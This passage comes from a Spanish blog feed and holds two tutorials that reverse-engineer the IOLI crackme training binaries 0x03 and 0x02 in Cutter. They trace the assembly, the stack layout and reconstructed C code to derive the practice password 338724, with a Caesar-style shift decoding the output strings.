<p><img src="/img/cutter04/scanf-2.png" alt="2do parámetro de scanf"></p>
<p>Ahora que hemos realizado lo mismo del ejercicio anterior, donde determinamos el tipo de variable que estaremos usando y las renombramos, continuemos con el siguiente bloque de instrucciones:</p>
<p><img src="/img/cutter04/dis6.png" alt="Operaciones matemáticas"></p>
<p>Este bloque lo resolvimos en el ejercicio anterior, el cual en pseudocódigo queda como el siguiente:</p>
<pre><code>i = 90
j = 492
i += j
i *= i
j = i
</code></pre>
<p>Renombramos las variables para homologar:</p>
<p><img src="/img/cutter04/dis7.png" alt="i y j"></p>
<p>Terminando las instrucciones anteriores que si conocemos, sigue una serie de asociaciones:</p>
<p><img src="/img/cutter04/dis9.png" alt="Load to Stack"></p>
<p>Aquí lo que sucede es:</p>
<pre><code>EAX = j
ESP+0x4 = EAX
EAX = num
ESP = EAX
</code></pre>
<p>Básicamente colocamos en el stack dos variables para que cuando llamemos a test, las pueda retirar (parámetros). El stack debe quedarnos parecido a lo siguiente:</p>
<table>
  <thead>
      <tr>
          <th>dirección</th>
          <th>valor</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ESP</td>
          <td>num</td>
      </tr>
      <tr>
          <td>ESP+0x4</td>
          <td>0x52b24</td>
      </tr>
  </tbody>
</table>
<p>La instrucción siguiente es <strong>call sym.test</strong>, la cual carga en el stack la dirección de la siguiente instrucción dentro de la función main. Acto seguido, brincamos a sym.test que inicia en <em>0x0804846e</em>.</p>
<table>
  <thead>
      <tr>
          <th>dirección</th>
          <th>valor</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ESP</td>
          <td>0x08048511</td>
      </tr>
      <tr>
          <td>ESP+0x4</td>
          <td>num</td>
      </tr>
      <tr>
          <td>ESP+0x8</td>
          <td>0x52b24</td>
      </tr>
  </tbody>
</table>
<blockquote>
<p>Cuando retornemos de esta función, las siguientes instrucciones corresponden al <em>return 0;</em> del programa.</p>
</blockquote>
<p>La idea general de como seria esto implementado en C seria como el siguiente código:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp){
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">int</span> num, i, j;
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;IOLI Crackme Level 0x03</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;Password: &#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">scanf</span>(<span style="color:#e6db74">&#34;%d&#34;</span>, <span style="color:#f92672">&amp;</span>num);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  i <span style="color:#f92672">=</span> <span style="color:#ae81ff">90</span>;
</span></span><span style="display:flex;"><span>  j <span style="color:#f92672">=</span> <span style="color:#ae81ff">492</span>;
</span></span><span style="display:flex;"><span>  i <span style="color:#f92672">+=</span> j;
</span></span><span style="display:flex;"><span>  i <span style="color:#f92672">*=</span> i;
</span></span><span style="display:flex;"><span>  j <span style="color:#f92672">=</span> i;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">test</span>(num, j);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="función-test">Función test</h3>
<p>Analicemos lo que hace la función test, para ello damos doble click izq sobre el nombre la función para ir a ese lugar. La función completa es la siguiente:</p>
<p><img src="/img/cutter04/dis11.png" alt="Función test"></p>
<p>Ahora enfocándonos en la primera parte de la función, el stack frame:</p>
<p><img src="/img/cutter04/dis12.png" alt="Stack Frame - test"></p>
<p>Esta describe que se salve el EBP en el stack, después asignamos EBP = ESP. Recordar que el call sube la ubicación a ESP de la siguiente instrucción que continua después del call:</p>
<table>
  <thead>
      <tr>
          <th>dirección</th>
          <th>valor</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ESP</td>
          <td>EBP</td>
      </tr>
      <tr>
          <td>ESP+0x4</td>
          <td>0x08048511</td>
      </tr>
      <tr>
          <td>ESP+0x8</td>
          <td>num</td>
      </tr>
      <tr>
          <td>ESP+0xc</td>
          <td>0x52b24</td>
      </tr>
  </tbody>
</table>
<p>Y se resta 8 direcciones al ESP. Actualizando nuestra tabla imaginaria del stack:</p>
<table>
  <thead>
      <tr>
          <th>dirección</th>
          <th>valor</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ESP-0x8</td>
          <td>EBP</td>
      </tr>
      <tr>
          <td>ESP-0x4</td>
          <td>0x08048511</td>
      </tr>
      <tr>
          <td>ESP</td>
          <td>num</td>
      </tr>
      <tr>
          <td>ESP+0x4</td>
          <td>0x52b24</td>
      </tr>
  </tbody>
</table>
<p>Finalizamos el stack frame aquí en <em>0x08048471</em>, y haciendo las resoluciones, EBP = ESP-0x8. Esto es importante para analizar la siguiente parte.</p>
<p><img src="/img/cutter04/dis13.png" alt="valor ingresado, valor a comparar"></p>
<p>Ahora lo que vemos es que EAX recibe el valor de arg_8h, el cual equivale a EBP+0x8, osea el valor num de main.</p>
<p>Después hacemos un cmp entre EAX (num) y arg_ch, el cual equivale a EBP+0xc, osea el valor 0x52b24 (2do argumento)</p>
<blockquote>
<p>Renombraremos arg_8h como num1 y arg_ch como num2.</p>
</blockquote>
<p><img src="/img/cutter04/dis17.png" alt="rename nums"></p>
<p>Esto nos hace una clara idea de que acabamos de ejecutar un <em>if</em>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (num1 <span style="color:#f92672">==</span> num2)
</span></span></code></pre></div><p>Continuemos con la siguiente instrucción:</p>
<p><img src="/img/cutter04/dis14.png" alt="Verdadero"></p>
<p>Si num1 es igual a num2 (<strong>338724</strong>), entonces subimos el string <em>str.Lqydolg_Sdvvzrug</em> al ESP:</p>
<table>
  <thead>
      <tr>
          <th>dirección</th>
          <th>valor</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ESP-0x8</td>
          <td>EBP</td>
      </tr>
      <tr>
          <td>ESP-0x4</td>
          <td>0x08048511</td>
      </tr>
      <tr>
          <td>ESP</td>
          <td>str.Lqydolg_Sdvvzrug</td>
      </tr>
      <tr>
          <td>ESP+0x4</td>
          <td>num</td>
      </tr>
      <tr>
          <td>ESP+0x8</td>
          <td>0x52b24</td>
      </tr>
  </tbody>
</table>
<p>Y ejecutamos <strong>call sym.shift</strong></p>
<table>
  <thead>
      <tr>
          <th>dirección</th>
          <th>valor</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ESP-0x8</td>
          <td>EBP</td>
      </tr>
      <tr>
          <td>ESP-0x4</td>
          <td>0x08048511</td>
      </tr>
      <tr>
          <td>ESP</td>
          <td>0x08048488</td>
      </tr>
      <tr>
          <td>ESP+0x4</td>
          <td>str.Lqydolg_Sdvvzrug</td>
      </tr>
      <tr>
          <td>ESP+0x8</td>
          <td>num</td>
      </tr>
      <tr>
          <td>ESP+0xc</td>
          <td>0x52b24</td>
      </tr>
  </tbody>
</table>
<p>Con esto hemos brincado a otra función, por lo que dejaremos este caso hasta aquí.</p>
<blockquote>
<p>Al retornar, unicamente ejecutaríamos el <em>jmp 0x08048496</em>.</p>
</blockquote>
<p><img src="/img/cutter04/dis15.png" alt="Falso"></p>
<p>Si num1 es diferente a num2 (<strong>338724</strong>), entonces subimos el string <em>str.Sdvvzrug_RN</em> al ESP:</p>
<table>
  <thead>
      <tr>
          <th>dirección</th>
          <th>valor</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ESP-0x8</td>
          <td>EBP</td>
      </tr>
      <tr>
          <td>ESP-0x4</td>
          <td>0x08048511</td>
      </tr>
      <tr>
          <td>ESP</td>
          <td>str.Sdvvzrug_RN</td>
      </tr>
      <tr>
          <td>ESP+0x4</td>
          <td>num</td>
      </tr>
      <tr>
          <td>ESP+0x8</td>
          <td>0x52b24</td>
      </tr>
  </tbody>
</table>
<p>Y ejecutamos <strong>call sym.shift</strong></p>
<table>
  <thead>
      <tr>
          <th>dirección</th>
          <th>valor</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ESP-0x8</td>
          <td>EBP</td>
      </tr>
      <tr>
          <td>ESP-0x4</td>
          <td>0x08048511</td>
      </tr>
      <tr>
          <td>ESP</td>
          <td>0x08048488</td>
      </tr>
      <tr>
          <td>ESP+0x4</td>
          <td>str.Sdvvzrug_RN</td>
      </tr>
      <tr>
          <td>ESP+0x8</td>
          <td>num</td>
      </tr>
      <tr>
          <td>ESP+0xc</td>
          <td>0x52b24</td>
      </tr>
  </tbody>
</table>
<p>Con esto hemos brincado a otra función, por lo que dejaremos este caso hasta aquí.</p>
<p><img src="/img/cutter04/dis16.png" alt="if completo"></p>
<p>Finalmente, la vista completa; sea como sea, llamamos a shift con diferentes strings. Uno para el caso verdadero otro para el caso falso. Después de terminar el if, retornamos a <strong>main</strong> con las insutrcciones <em>leave</em> y <em>ret</em>.</p>
<p>El codigo en C pudiera ser el siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-C" data-lang="C"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">test</span>(<span style="color:#66d9ef">int</span> num1, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> num2){
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (num1 <span style="color:#f92672">==</span> num2) <span style="color:#a6e22e">shift</span>(<span style="color:#e6db74">&#34;Lqydolg#Sdvvzrug$&#34;</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">else</span> <span style="color:#a6e22e">shift</span>(<span style="color:#e6db74">&#34;Sdvvzrug#RN$$$#=,&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="función-shift">Función shift</h3>
<p>Toca turno ahora a la función shift, que hasta donde conocemos, recibe de argumento un string. Veamos que tenemos en toda la función:</p>
<p><img src="/img/cutter04/dis21.png" alt="Funcion shift"></p>
<p>Se ve mas extensa que la anterior función test. Comencemos por el stack frame:</p>
<p><img src="/img/cutter04/dis22.png" alt="Stack frame - shift"></p>
<p>Tenemos gracias al análisis de la función, el argumento char s* y tres variables tipo int.</p>
<p>Salvamos el EBP actual en el stack y le asignamos el valor de ESP. Finalizamos con mover el ESP unas 0x98 direcciones &hellip; 152 posiciones nada mas.</p>
<table>
  <thead>
      <tr>
          <th>dirección</th>
          <th>valor</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>ESP-0xa0</td>
          <td>EBP.main</td>
      </tr>
      <tr>
          <td>ESP-0x9c</td>
          <td>0x08048511</td>
      </tr>
      <tr>
          <td>ESP-0x98</td>
          <td>EBP.test</td>
      </tr>
      <tr>
          <td>ESP-0x94</td>
          <td>0x08048488</td>
      </tr>
      <tr>
          <td>ESP-0x90</td>
          <td>str.Sdvvzrug_RN</td>
      </tr>
      <tr>
          <td>ESP-0x8c</td>
          <td>num</td>
      </tr>
      <tr>
          <td>ESP-0x88</td>
          <td>0x52b24</td>
      </tr>
      <tr>
          <td>&hellip;</td>
          <td>&hellip;</td>
      </tr>
      <tr>
          <td>ESP</td>
          <td>0x00000000</td>
      </tr>
  </tbody>
</table>
<p><img src="/img/cutter04/dis23.png" alt="strlen"></p>
<p>En el siguiente bloque de instrucciones, movemos a ESP-0x7c el valor de 0, subimos a EAX el string correspondiente (EBP+0x8 aka ESP-0x90) y guardamos dicho valor en ESP (ESP vale ahora EAX, osea s)</p>
<p>Realizamos la llamada a <a href="https://www.programiz.com/c-programming/library-function/string.h/strlen">strlen</a> vía <strong>call sym.imp.strlen</strong>. Si conocemos un poco esta función sabemos que debe devolver un valor natural, el cual se guarda en EAX.</p>
<p><img src="/img/cutter04/dis24.png" alt="i &lt;= len(s)"></p>
<p>Las siguientes instrucciones hacen lo siguiente; comparo si ESP-0x7c (actualmente con valor de 0) es igual o mayor al valor retornado de strlen de s. Luego tomo la decisión en el jae (jmp if great o equal unsigned), siendo verdadero brincamos, siendo falso continuamos con la siguiente instrucción.</p>
<p>Esto es una clara referencia a un tipo de loop que sera mas claro cuando encontremos el jmp de retorno a este punto de comparación y salida.</p>
<p>La comparación que tenemos entre manos es:</p>
<pre><code>if (0 &lt; strlen(s))
</code></pre>
<p>Continuemos al siguiente bloque.</p>
<p><img src="/img/cutter04/dis25.png" alt="incrementa el index"></p>
<p>El siguiente bloque carga ESP-0x78 en EAX, y después salva el valor de ESP-0x78 en EDX. La idea es después sumar ESP-0x7c (actualmente con valor de 0) en ESP-0x78, aquí es donde haríamos una iteración de ESP-0x78 si el valor de ESP-0x7c cambia. Después guardaríamos ESP-0x7c (actualmente con valor de 0) en EAX para el siguiente bloque.</p>
<p>Esto seria como el siguiente pseudocódigo para la primera pasada:</p>
<pre><code>EDX = ESP-0x78 + 0
EAX = 0
</code></pre>
<p><img src="/img/cutter04/dis26.png" alt="shift!"></p>
<p>Continuamos con las siguientes instrucciones, la comienza con la suma de ESP-0x78 (valor 0) con la ubicación del string que esta en .rodata (recordar que depende del valor verdadero o falso del if), si nos fijamos esto seria iterar la ubicación del carácter del string, algo como cuando tenemos un s[i] dentro de un código&hellip;</p>
<p>Ok, continuando con la instrucción 2, tenemos algo interesante, <strong>movzx eax, byte [eax]</strong> toma el primer byte de la ubicación de s y lo guarda en EAX. Lo demás lo llena de ceros.</p>
<p>Después, <strong>sub al, 3</strong> resta 3 al valor almacenado en EAX, por ejemplo si su valor era 0x43 (C) ahora valdrá 0x41 (A).</p>
<p>La siguiente instrucción salva este byte en EDX, es decir, si se convirtió a 0x41, este valor se salva en el primer byte de EDX.</p>
<p><img src="/img/cutter04/dis27.png" alt="final del loop"></p>
<p>Continuamos cargando la ESP-0x7c en EAX, incrementamos el valor de ESP-0x7c (antes 0, ahora 1) y salvamos en EAX. Ejecutamos un jmp de retorno a 0x08048424 (donde empezamos a preparamos para el strlen).</p>
<p>Con esto finalizamos el loop, pero &hellip; ¿que rayos paso?</p>
<p>Si tuviera que traducirlo a código en C seria como el siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">char</span> buf[<span style="color:#ae81ff">100</span>];
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> i;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> <span style="color:#a6e22e">strlen</span>(s); i<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  buf[i] <span style="color:#f92672">=</span> (<span style="color:#66d9ef">char</span>) s[i] <span style="color:#f92672">-</span> <span style="color:#ae81ff">3</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Yo se que en ninguna parte se crea ese buf de ese tamaño definido ni que tampoco se hace el cast de char de operaciones en entero, pero lo agregue para darle un poco de practicidad.</p>
<p><img src="/img/cutter04/dis28.png" alt="string final"></p>
<p>Después de acabar este for, salvamos la dirección ESP-0x78 (buf) en EAX. Sumamos el valor de ESP-0x7c (ahora strlen(s)-1) sobre el valor de EAX (la dirección ESP-0x78).</p>
<p>La ultima instrucción, <strong>mov byte[eax], 0</strong> escribe el byte 0x00 sobre la ultima ubicación para cortar el <em>buffer</em> y de esa manera poner el carácter null. Ahora si, tenemos un string hecho y derecho en el buffer.</p>
<p><img src="/img/cutter04/dis29.png" alt="printf final"></p>
<p>Bueno, tenemos un string en el buffer, retornamos ESP-0x78 a EAX con la primera instrucción, luego con la segunda guardamos ese valor (la dirección del stack) sobre ESP-0x4 y finalmente en la tercera instrucción cargamos en el stack el string &ldquo;%s\n&rdquo;.</p>
<blockquote>
<p>Me ahorre las vueltas a la ubicación en memoria para decodificar el string constante que recibe printf</p>
</blockquote>
<p>Por supuesto esto fue un preludio para la llamada a printf, donde el primer argumento define que se recibirá un string y el segundo argumento es el string en si que hemos manejado de buffer.</p>
<p>Renombrando todas nuestras variables tenemos un código en C como el siguiente:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">shift</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>s){
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">char</span> buf[<span style="color:#ae81ff">100</span>];
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">int</span> i;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span> (i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> <span style="color:#a6e22e">strlen</span>(s); i<span style="color:#f92672">++</span>) buf[i] <span style="color:#f92672">=</span> (<span style="color:#66d9ef">char</span>) s[i] <span style="color:#f92672">-</span> <span style="color:#ae81ff">3</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;%s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, buf);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Renombrando en el disassembly también nos queda de la siguiente manera:</p>
<p><img src="/img/cutter04/dis20.png" alt="funcion shift final"></p>
<h2 id="grafico">Grafico</h2>
<p>Los grafos de nuestras 3 funciones son:</p>
<h3 id="función-main-1">Función main</h3>
<p><img src="/img/cutter04/graph-main.png" alt="Graph main"></p>
<h3 id="función-test-1">Función test</h3>
<p><img src="/img/cutter04/graph-test.png" alt="Graph test"></p>
<h3 id="función-shift-1">Función shift</h3>
<p><img src="/img/cutter04/graph-shift.png" alt="Graph shift"></p>
<h2 id="validación">Validación</h2>
<p>Hemos llegado a la parte final, donde validamos la conclusión a la que hemos realizado después del análisis estático, en la cual la contraseña que debemos ingresar en el crackme es <strong>338724</strong>, misma del reto anterior.</p>
<p>Validemos:</p>
<p><img src="/img/cutter04/validacion.png" alt="Validación"></p>
<p>Excelente! Hemos resuelto el cuarto crackme de IOLI.</p>
<hr>
<p>Bueno eso ha sido todo de momento, espero que les haya gustado.
Saludos,</p>]]></content></item><item><title>Reversing de IOLI Crackmes con Cutter - Crackme0x02</title><link>https://www.xbyte.mx/posts/ioli-crackmes-cutter_-_crackme0x02/</link><pubDate>Sat, 27 Oct 2018 22:54:21 -0600</pubDate><guid>https://www.xbyte.mx/posts/ioli-crackmes-cutter_-_crackme0x02/</guid><description>&lt;p&gt;Nuevamente a usar Cutter para resolver crackmes! En esta ocasión continuamos con la serie de crackmes de IOLI, ahora resolviendo el 3er crackme&lt;/p&gt;</description><content type="html"><![CDATA[<p>Nuevamente a usar Cutter para resolver crackmes! En esta ocasión continuamos con la serie de crackmes de IOLI, ahora resolviendo el 3er crackme</p>
<h2 id="footprint">Footprint</h2>
<p>Comenzamos por obtener información sobre el crackme que tenemos entre manos, para ello usamos las herramientas usadas en el crackme anterior:</p>
<p>File:</p>
<p><img src="/img/cutter03/file.png" alt="File over crackme0x02"></p>
<p>LDD:</p>
<p><img src="/img/cutter03/lld.png" alt="LDD over crackme0x02"></p>
<p>ReadELF:</p>
<p><img src="/img/cutter03/readelf.png" alt="readELF over crackme0x02"></p>
<p>Parece que este caso no es tan diferente a los anteriores.</p>
<p>Carguemos el archivo directo a Cutter con los valores de análisis por defecto:</p>
<p><img src="/img/cutter03/dashboard.png" alt="Dashboard de crackme0x02"></p>
<p>También a nivel de dashboard vemos que este reto no es muy diferente a sus predecesores. Continuemos con la siguiente sección.</p>
<h2 id="entrypoints">Entrypoints</h2>
<p>Comenzamos por analizar todos los entry points de este ejecutable:</p>
<p><img src="/img/cutter03/entrypoints.png" alt="Entry Points de crackme0x02"></p>
<p>Como podemos ver, el entry point es el mismo que ya nos decía readelf, <strong>0x8048330</strong>.</p>
<h2 id="strings">Strings</h2>
<p>Los strings dentro de este ejecutable son (ojo con la dirección):</p>
<p><img src="/img/cutter03/strings.png" alt="Strings de crackme0x02"></p>
<p>Aparentemente no sera tan sencillo esta vez, no aparece ni por error algún valor que haga referencia al password.</p>
<h2 id="imports">Imports</h2>
<p>En la sección de imports, veremos que nuevamente llamamos a nuestras funciones de costumbre:</p>
<p><img src="/img/cutter03/imports.png" alt="Imports de crackme0x02"></p>
<blockquote>
<p>Nuevamente tenemos un mensaje sobre lo inseguro que es la función scanf, ya que es altamente explotable.</p>
</blockquote>
<h2 id="functions">Functions</h2>
<p>Ahora toca revisar las funciones que tenemos en nuestro programa, las cuales son las siguientes:</p>
<p><img src="/img/cutter03/functions.png" alt="Funciones de crackme0x02"></p>
<p>No quiero sorprender a nadie, pero esta casi idéntico a lo que teníamos en el anterior crackme&hellip; continuemos.</p>
<h2 id="disassembly">Disassembly</h2>
<p>Ahora toca el turno del Disassembly, en donde realizaremos el análisis estático para determinar que sucede dentro de este programa, vemos primero como se presenta:</p>
<p><img src="/img/cutter03/dis1.png" alt="Disassembly de crackme0x02"></p>
<blockquote>
<p>Trate de reducir un poco el tamaño de la letra para que fuera visible toda la función main.</p>
</blockquote>
<p>Aplicando la misma metodología que hemos manejado:</p>
<pre tabindex="0"><code>0x080483e4      push ebp
0x080483e5      mov  ebp, esp
0x080483e7      sub  esp, 0x18
0x080483ea      and  esp, 0xfffffff0
0x080483ed      mov  eax, 0
0x080483f2      add  eax, 0xf
0x080483f5      add  eax, 0xf
0x080483f8      shr  eax, 4
0x080483fb      shl  eax, 4
0x080483fe      sub  esp, eax
</code></pre><p>Primero tenemos el stack frame, que como hemos visto antes nos ayuda a separar lo que las variables locales usaran posteriormente.</p>
<pre tabindex="0"><code>0x08048400      mov  dword [esp], str.IOLI_Crackme_Level_0x02 ; [0x8048548:4]=0x494c4f49 ; &#34;IOLI Crackme Level 0x02\n&#34; ; const char *format
0x08048407      call sym.imp.printf ; int printf(const char *format)
</code></pre><p>Continuamos con la primera llamada a printf, el cual recibe de parámetro el string &ldquo;IOLI Crackme Level 0x02\n&rdquo;, dando inicio al primer mensaje que vemos en pantalla.</p>
<pre tabindex="0"><code>0x0804840c      mov  dword [esp], str.Password: ; [0x8048561:4]=0x73736150 ; &#34;Password: &#34; ; const char *format
0x08048413      call sym.imp.printf ; int printf(const char *format)
</code></pre><p>Continuamos con la segunda llamada a printf, la cual recibe de parámetro el string &ldquo;Password: &ldquo;, manteniendo el cursor sin salto de linea.</p>
<pre tabindex="0"><code>0x08048418      lea  eax, [local_4h]
0x0804841b      mov  dword [local_4h_2], eax
0x0804841f      mov  dword [esp], 0x804856c ; [0x804856c:4]=0x50006425 ; const char *format
0x08048426      call sym.imp.scanf ; int scanf(const char *format)
</code></pre><p>La siguiente parte toma la variable local_4h y carga su posición en memoria sobre EAX, para después guardar dicho valor en local_4h_2. La siguiente parte carga en el stack pointer el valor de lo ubicado en 0x804856c. Finalmente scanf es llamado en donde usara el valor de la ubicación 0x804856c y la ubicación en memoria de local_4h.</p>
<p>Comenzando por las traducciones, veamos que hay en 0x804856c:</p>
<blockquote>
<p>Recordemos que para ir a una posición debemos dar dos clicks izq sobre la misma.</p>
</blockquote>
<p><img src="/img/cutter03/rodata-strings.png" alt="rodata"></p>
<p>Hemos llegado a esta posición de .rodata, que como en el ejemplo anterior no se tradujo 100% a string, por lo que nos toca ayudar un poco.</p>
<p>Nuevamente damos click derecho, sobre la ubicación, seleccionamos &ldquo;Set to Data&rdquo;, ubicamos &ldquo;&hellip;   *&rdquo; y continuamos con la siguiente ventana donde seleccionamos tamaño 3, un solo elemento.</p>
<p><img src="/img/cutter03/code-to-data.png" alt="Convert code to data"></p>
<p><img src="/img/cutter03/set-to-data.png" alt="Set to Data"></p>
<p>Y ahora se ha revelado el primer parámetro de scanf:</p>
<p><img src="/img/cutter03/scanf-1.png" alt="1er parámetro de scanf"></p>
<p>Si observamos detenidamente los parámetros que nos indica el análisis de la función, veremos algo como lo siguiente:</p>
<pre><code>; var int local_4h @ ebp-0x4
; var int local_4h_2 @ esp+0x4
</code></pre>
<p>Esto quiere decir que local_4h y local_4h_2 son reconocidos como enteros y no solo eso, por la ubicación en memoria (o el valor real y no el alias) tenemos que local_4h es <strong>EBP-0x4</strong> mientras que local_4h_2 es <strong>ESP+0x4</strong>, esto quiere decir que las primeras dos instrucciones:</p>
<pre><code>0x08048418      lea  eax, [local_4h]
0x0804841b      mov  dword [local_4h_2], eax
</code></pre>
<p>Primero guarde la dirección de EBP-0x4 en EAX y después escribí dicha dirección sobre ESP+0x4, para que acabando el primer argumento (ESP), pueda tomar el segundo del stack.</p>
<p>Renombremos las variables como numero (local_4h) y *numero (local_4h_2), ubicándonos en el nombre y dando click derecho seleccionaremos &ldquo;rename &hellip; (used here)&rdquo;:</p>
<blockquote>
<p>Hotkey: shift + n</p>
</blockquote>
<p><img src="/img/cutter03/rename-numero.png" alt="2do parámetro de scanf"></p>
<p>Agreguemos también una etiqueta sobre el valor del primer parámetro, nos ubicamos sobre la ubicación del &ldquo;%d&rdquo; y ejecutamos renombrar:</p>
<p><img src="/img/cutter03/label.png" alt="Etiqueta de decimal"></p>
<p>Ahora que hemos realizado lo mismo del ejercicio anterior, donde determinamos el tipo de variable que estaremos usando, continuemos con el siguiente bloque de instrucciones:</p>
<pre tabindex="0"><code>0x0804842b      mov  dword [local_8h], 0x5a ; &#39;Z&#39; ; 90
0x08048432      mov  dword [local_ch], 0x1ec ; 492
0x08048439      mov  edx, dword [local_ch]
0x0804843c      lea  eax, [local_8h]
0x0804843f      add  dword [eax], edx
0x08048441      mov  eax, dword [local_8h]
0x08048444      imul eax, dword [local_8h]
0x08048448      mov  dword [local_ch], eax
0x0804844b      mov  eax, dword [local_4h]
</code></pre><p>En las primeras dos instrucciones, asignamos valor a las variables local_8h y local_ch, con 90 y 492 respectivamente. Renombremos estas variables a i y j.</p>
<p><img src="/img/cutter03/i-j.png" alt="int i y j"></p>
<pre><code>i = 90
j = 492
</code></pre>
<p>Después salvamos el valor 492 en EDX, y guardamos la ubicación de memoria de &ldquo;i&rdquo; (ebp-0x8) en EAX.</p>
<p>Continuamos por sumar 0x1ec (492) a EAX (i=90)y guardarlo en EAX. EAX ahora vale 0x246.</p>
<pre><code>i += j
</code></pre>
<p>La siguiente parte se encarga de asignar 582 a EAX. Después multiplicamos 582 * 582, osea, 582^2, dándonos 0x52b24 o 338724. Este resultado se guarda en &ldquo;i&rdquo;</p>
<pre><code>i *= i
</code></pre>
<p>Guardamos &ldquo;i&rdquo; en &ldquo;j&rdquo;:</p>
<pre><code>j = i
</code></pre>
<p>Finalmente cargamos numero en &ldquo;i&rdquo;</p>
<pre><code>i = numero
</code></pre>
<p>Continuemos con el siguiente bloque:</p>
<pre tabindex="0"><code>0x0804844e      cmp  eax, dword [local_ch]
0x08048451      jne  0x8048461
0x08048453      mov  dword [esp], str.Password_OK_: ; [0x804856f:4]=0x73736150 ; &#34;Password OK :)\n&#34; ; const char *format
0x0804845a      call sym.imp.printf ; int printf(const char *format)
0x0804845f      jmp  0x804846d
0x08048461      mov  dword [esp], str.Invalid_Password ; [0x804857f:4]=0x61766e49 ; &#34;Invalid Password!\n&#34; ; const char *format
0x08048468      call sym.imp.printf ; int printf(const char *format)
0x0804846d      mov  eax, 0
0x08048472      leave
0x08048473      ret
</code></pre><p>Iniciamos por comparar i==j, si es verdadero tenemos un printf(&ldquo;Password OK :)\n&rdquo;), si es falso llamaremos a printf(&ldquo;Invalid Password!\n&rdquo;)</p>
<pre tabindex="0"><code>    if (i==j):
      printf(&#34;Password OK :)\n&#34;)
    else:
      printf(&#34;Invalid Password!\n&#34;)
</code></pre><p>Finalmente tenemos EAX=0 y el leave (ESP=EBP, pop EBP) de la función main.</p>
<p>Creo que hasta este punto el análisis estático ha bastado para poder identificar la contraseña de este crackme.</p>
<h2 id="grafico">Grafico</h2>
<p>No puede faltar el grafo de esta función, en donde veamos a nuestro único if haciendo una pirueta:</p>
<p><img src="/img/cutter03/graph.png" alt="Graph"></p>
<h2 id="validación">Validación</h2>
<p>Hemos llegado a la parte final, donde validamos la conclusión a la que hemos realizado después del análisis estático, en la cual la contraseña que debemos ingresar en el crackme es <strong>338724</strong>.</p>
<p>Validemos:</p>
<p><img src="/img/cutter03/validacion.png" alt="Validación"></p>
<p>Excelente! Hemos resuelto el tercer crackme de IOLI.</p>
<hr>
<p>Bueno eso ha sido todo de momento, espero que les haya gustado.
